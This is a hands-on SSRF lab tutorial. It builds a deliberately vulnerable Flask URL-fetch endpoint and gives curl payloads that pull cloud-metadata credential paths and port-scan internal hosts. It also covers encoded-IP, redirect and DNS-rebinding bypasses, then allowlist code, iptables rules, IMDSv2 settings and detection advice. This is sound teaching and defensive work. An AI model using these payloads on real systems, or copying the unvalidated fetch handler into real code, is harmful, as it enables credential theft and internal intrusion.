{
“@context”: “https://schema.org”,
“@type”: “TechArticle”,
“headline”: “SSRF Lab: Exploit and Block Server-Side Request Forgery with Real Targets and Defenses”,
“description”: “Hands-on SSRF lab: exploit a vulnerable URL-fetch parameter, pivot to cloud metadata endpoints, then enforce allowlist defenses. Verified commands and configs for blue teams and CTF players.”,
“author”: {“@type”: “Organization”, “name”: “Hmmnm – Cybersecurity Tutorials”},
“keywords”: “SSRF exploit and defense tutorial, SSRF, IMDSv2, DNS rebinding, egress filtering”
}
TL;DR: How Attackers Exploit SSRF and How You Block It
SSRF lets an attacker make your server send requests to destinations of their choosing—your internal network, your cloud metadata endpoint, your credentials included. In this lab you’ll exploit a vulnerable URL-fetch parameter, pivot to the 169.254.169.254 metadata service to steal a role name, then harden the target with allowlist validation, egress filtering, and IMDSv2. The core defense is simple to state and easy to get wrong: validate scheme and host against an allowlist, check the resolved IP on every request and every redirect, and assume your application code will be bypassed—so back it with network controls.
Lab Setup: Building a Vulnerable URL-Fetch Target
Server-Side Request Forgery (SSRF) has been on the OWASP Top 10 since 2021 (A10:2021) for a reason: the move to cloud infrastructure turned a mundane internal-request bug into direct credential theft. Traditional web testing has a well-established playbook for injection flaws. SSRF testing throws most of that out the window—you’re not attacking the application’s logic, you’re attacking its position on the network.
We’ll build a deliberately vulnerable “URL preview” service—the classic SSRF pattern seen in real products that fetch link previews, webhooks, or file imports.
Prerequisites: Docker and Docker Compose, curl, and a text editor. That’s it.
Topology:
vuln-app— Python/Flask app on port 5000, exposes/fetch?url=metadata-sim— Flask service on 169.254.169.254:80 (run with--net=hoston Linux, or alias the IP to loopback) simulating AWS IMDSv1/v2internal-db— Postgres on a private Docker network, port 5432, not published
The vulnerable handler:
@app.route("/fetch")
def fetch():
url = request.args.get("url")
r = requests.get(url, timeout=5) # no validation whatsoever
return Response(r.text, status=r.status_code)
This is the canonical anti-pattern: user-controlled URL, server-side fetch, response reflected back. Full feedback loop, which makes it ideal for learning.
Confirming SSRF: Probing Internal Endpoints via the Fetch Parameter
Confirmation is about turning ambiguous errors into a signal. Start with a baseline:
curl "http://localhost:5000/fetch?url=http://example.com"
# 200 OK, example.com content returned
curl "http://localhost:5000/fetch?url=http://127.0.0.1:5000/health"
# 200 OK — the app just fetched itself. SSRF confirmed.
Then probe the internal network:
curl "http://localhost:5000/fetch?url=http://internal-db:5432"
# Postgres error banner or connection message leaked
Use three confirmation techniques:
- Response body: internal service banners (Postgres, Redis’s
-ERRlines) leaked in the response. - Status-code deltas: 200 for live hosts vs 500/504 for dead ones.
- Timing oracles: connection-refused returns in milliseconds; filtered hosts hang until the 5-second timeout. Measure it.
Any one of these confirms the server is making requests you control. That’s SSRF, full stop.
Pivoting to Cloud Metadata Endpoints (169.254.169.254)
The link-local address 169.254.169.254 is the highest-value target in any cloud SSRF because it’s reachable from every instance, requires no authentication by default, and hands out credentials. On AWS EC2, IMDSv1 responds to a plain GET:
curl "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/"
# ami-id
# iam/
# instance-id
# ...
curl "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# lab-app-role
curl "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/lab-app-role"
# {"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"..."}
In our lab, metadata-sim returns a fake role name in IMDSv1 mode—enough to demonstrate impact without real credentials.
How IMDSv2 changes this: IMDSv2 (enforced by setting HttpTokens=required, default on new instance types since mid-2024) requires a session token obtained via a PUT request to /latest/api/token. That token must then be sent as an X-aws-ec2-metadata-token header. A plain-GET SSRF payload can’t do the PUT, and most SSRF vectors—image tags, PDF generators, simple URL parameters—can’t send custom headers at all. IMDSv2 also sets a hop limit of 1, so container escapes and routed traffic can’t reach the metadata service at all. AWS’s own documentation recommends both settings; CISA’s SSRF guidance (AA22-207A, jointly with the NSA, July 2022) names metadata service theft as the primary cloud risk.
Escalating Impact: Credentials, Internal Services, and Network Mapping
Role-name disclosure is already serious—it tells an attacker exactly what permissions a compromised instance holds, which maps directly to privilege-escalation paths. From there, SSRF becomes a port scanner using the timing and status-code oracles from earlier:
for port in 3306 5432 6379 8080 9200; do
echo -n "$port: "
curl -o /dev/null -s -w "%{http_code} %{time_total}sn"
"http://localhost:5000/fetch?url=http://internal-db:$port"
done
# Open ports return fast with odd status codes; closed refuse fast; filtered stall on timeout.
Map the private range methodically (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 in Docker’s case), and you have an internal reconnaissance engine requiring zero foothold on the host. Keep every bit of this in your own lab—exploiting SSRF against systems you don’t own is unauthorized access, full stop.
Bypass Basics: Redirects, DNS Rebinding, and Encoded IPs
Now understand why the first fix everyone writes—a string check on the URL—is worthless.
- Encoded IPs:
http://2852039166/is 169.254.169.254 in decimal;http://0xA9FEA9FE/is the same in hex;169.254.62462mixes notations. Your blocklist for the literal string “169.254.169.254” catches none of them. - Redirects: You validate
http://attacker.example/start(resolves to a public IP, passes the check), the server follows a 302 tohttp://169.254.169.254/…. Therequestslibrary follows redirects by default—your validation never saw the second URL. - DNS rebinding: You resolve
evil.exampleat validation time—it returns a public IP. By fetch time, the attacker’s DNS TTL has expired and returns 169.254.169.254. Validation and fetch used two different answers for the same name. This is the TOCTOU gap that kills naive allowlists.
Naive blocklists fail because they check the URL string instead of the destination socket. Effective defenses check the IP your code will actually connect to.
Defense 1: Strict URL Allowlists and Scheme Validation
An effective allowlist implementation checks, in order:
- Scheme — allow only
https(andhttponly if you must). Blocksfile://,gopher://,dict://. - Host against an allowlist — not a blocklist. Exact-match domains or suffix match on an explicit list.
- Resolved IP against deny ranges — reject RFC 1918, loopback, link-local (169.254.0.0/16), and IPv4/IPv6-mapped equivalents, after DNS resolution.
- Re-resolution on every redirect — either disable redirect following or re-run the full validation per hop, pinning the connection to the validated IP.
import ipaddress, socket
from urllib.parse import urlparse
ALLOWED_HOSTS = {"api.partner.example", "cdn.partner.example"}
BLOCKED_NETS = [ipaddress.ip_network(n) for n in (
"127.0.0.0/8","10.0.0.0/8","172.16.0.0/12","192.168.0.0/16",
"169.254.0.0/16","::1/128","fc00::/7","0.0.0.0/8","100.64.0.0/10",
)]
def validate(url: str) -> str:
p = urlparse(url)
if p.scheme not in ("http", "https"):
raise ValueError("scheme blocked")
if p.hostname not in ALLOWED_HOSTS:
raise ValueError("host not allowlisted")
ip = ipaddress.ip_address(socket.gethostbyname(p.hostname))
if any(ip in net for net in BLOCKED_NETS):
raise ValueError("resolved IP in private range")
return str(ip) # pin the connection to this IP
Pin the connection to the validated IP (SNI/Host header preserved) so DNS rebinding between check and connect is impossible. OWASP’s SSRF Prevention Cheat Sheet covers this pattern in depth.
Defense 2: Network Controls — Egress Filtering and IMDSv2
Assume your application-layer checks will eventually be bypassed—layered network controls are what actually stop the exfiltration:
- Egress allowlist at the security group / iptables level: the app container may only reach specific destinations and ports.
- Block link-local: explicitly deny 169.254.0.0/16 from workload subnets.
# Inside the app container / host namespace
iptables -A OUTPUT -d 169.254.0.0/16 -j DROP
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP
- Enforce IMDSv2 and raise the hop limit constraint:
aws ec2 modify-instance-metadata-options
--instance-id i-0abc123
--http-tokens required
--http-put-response-hop-limit 1
--endpoint https://ec2.region.amazonaws.com
With hop limit 1, even a successful SSRF from a container or a proxied request can’t reach IMDS—the TTL expires first. This single setting neutralizes the entire metadata-theft class.
Defense 3: Safe Fetch Architectures and Libraries
Beyond per-request checks, architect the fetch path itself:
- Dedicated egress proxy: all outbound fetches route through a proxy that enforces allowlists and destination policy centrally (Envoy, Squid, or a commercial secure-web-gateway). The app never touches the network directly.
- SSRF-protection libraries: use maintained libraries that handle resolution pinning and redirect re-validation for you, rather than rolling your own (and getting the IPv6-mapped edge cases wrong).
- Disable redirect following in your HTTP client (
requests.get(url, allow_redirects=False)), or validate each hop explicitly. - Cap response size and time:
timeout=(3, 5)and stream with a byte cap. This kills both DoS-via-SSRF and internal-response harvesting at scale.
Re-Testing: Verifying the Fixes Block the Lab Exploits
Replay every original payload against the hardened target. Expected results:
curl "http://localhost:5000/fetch?url=http://169.254.169.254/latest/meta-data/"
# 403 — resolved IP in blocked range
curl "http://localhost:5000/fetch?url=http://internal-db:5432"
# 403 — host not allowlisted
curl "http://localhost:5000/fetch?url=http://0xA9FEA9FE/"
# 403 — scheme/host validation fails before resolution
curl "http://localhost:5000/fetch?url=http://allowed.example/redirect"
# 307 returned to client, not followed — redirect chain broken
Confirm the metadata sim returns nothing at IMDSv1 paths, and that curl -X PUT http://169.254.169.254/latest/api/token from inside the app container times out due to the iptables rule. A fix you haven’t re-exploited is a fix you don’t have.
Detection and Monitoring for SSRF Attempts
Blue teams should assume some SSRF attempts will reach production code and watch for them:
- Log every fetch parameter with the resolved destination IP—full URL plus post-resolution address gives you the decoded truth even when the input was encoded.
- Alert on metadata IP hits: any request from an application host to 169.254.169.254 that didn’t originate from the expected agent is a high-fidelity signal. The hop limit on IMDSv2 conveniently causes these to show up as TTL-expired drops, which are themselves alertable.
- WAF rules: flag URL parameters containing link-local addresses, decimal/hex IP forms, or internal hostnames. Treat these as detection, not prevention.
- SIEM correlation: spikes in outbound request errors from fetch services, unusual destination distributions, and DNS queries for the same name resolving to both public and private IPs (rebinding indicator). CISA’s joint advisory on SSRF exploitation (AA22-207A) documents real-world patterns worth alerting on.
Checklist and Further Practice (SSRF Labs and CTFs)
Before you ship any feature that fetches URLs, run this checklist:
- [ ] Scheme allowlisted (https only where possible)
- [ ] Host allowlist — exact match, not substring or blocklist
- [ ] Resolved IP checked against private/link-local ranges, per hop
- [ ] Connection pinned to validated IP
- [ ] Redirect following disabled or re-validated
- [ ] Response size and time caps enforced
- [ ] Egress firewall rules in place; link-local blocked
- [ ] IMDSv2 required with hop limit 1 on every instance
- [ ] Fetch parameters logged; metadata-IP alerts wired into SIEM
- [ ] Original exploit payloads replayed and confirmed blocked
For further practice, work through OWASP WebGoat, PortSwigger’s SSRF Web Security Academy labs, and OWASP’s SSRF Prevention Cheat Sheet as your canonical reference. Bigger attack surface, more integrations, more webhook-driven architecture, more fetch-by-URL features—SSRF isn’t going away. Practice the exploit until the defense is obvious.
Frequently Asked Questions
What is the difference between SSRF and CSRF?
SSRF makes the server send requests to attacker-chosen destinations, exposing internal networks and cloud metadata. CSRF tricks a user’s browser into sending unauthorized requests to a site the user is authenticated against. The attacker’s vantage point is the difference: server-side versus client-side.
How does IMDSv2 prevent SSRF metadata attacks?
IMDSv2 requires obtaining a session token via a PUT request to /latest/api/token and presenting it in a custom header on every metadata request. Most SSRF payloads can only trigger GET requests and can’t set headers, so they can’t complete the token handshake. The hop limit of 1 additionally blocks access from containers and routed paths.
Can an allowlist fully stop SSRF?
An allowlist is necessary but not sufficient on its own. It must validate the resolved IP after DNS lookup and re-validate on every redirect, or DNS rebinding and redirect chains will bypass it. Combine it with egress filtering and IMDSv2 so a code-level bypass doesn’t become a cloud compromise.
What is DNS rebinding in the context of SSRF?
DNS rebinding uses attacker-controlled DNS that returns a public IP during your validation check, then flips to an internal IP (such as 169.254.169.254) by the time the server actually fetches the URL. The fix is pinning the connection to the IP you validated, so resolution and connection can’t disagree.
Is exploiting SSRF legal?
Only on systems you own or have explicit written authorization to test. Use dedicated lab environments—Docker setups like the one in this article, or legal platforms like PortSwigger’s Web Security Academy and OWASP WebGoat. Testing against third-party systems without authorization is a crime in most jurisdictions.
Related reading
- Threat Hunting, Explained: Hypotheses, Telemetry and the Pyramid of Pain
- Weekly Threat Intel: Tuesday 22 September 2026 — Ransomware Crews Adopt Agent Tooling
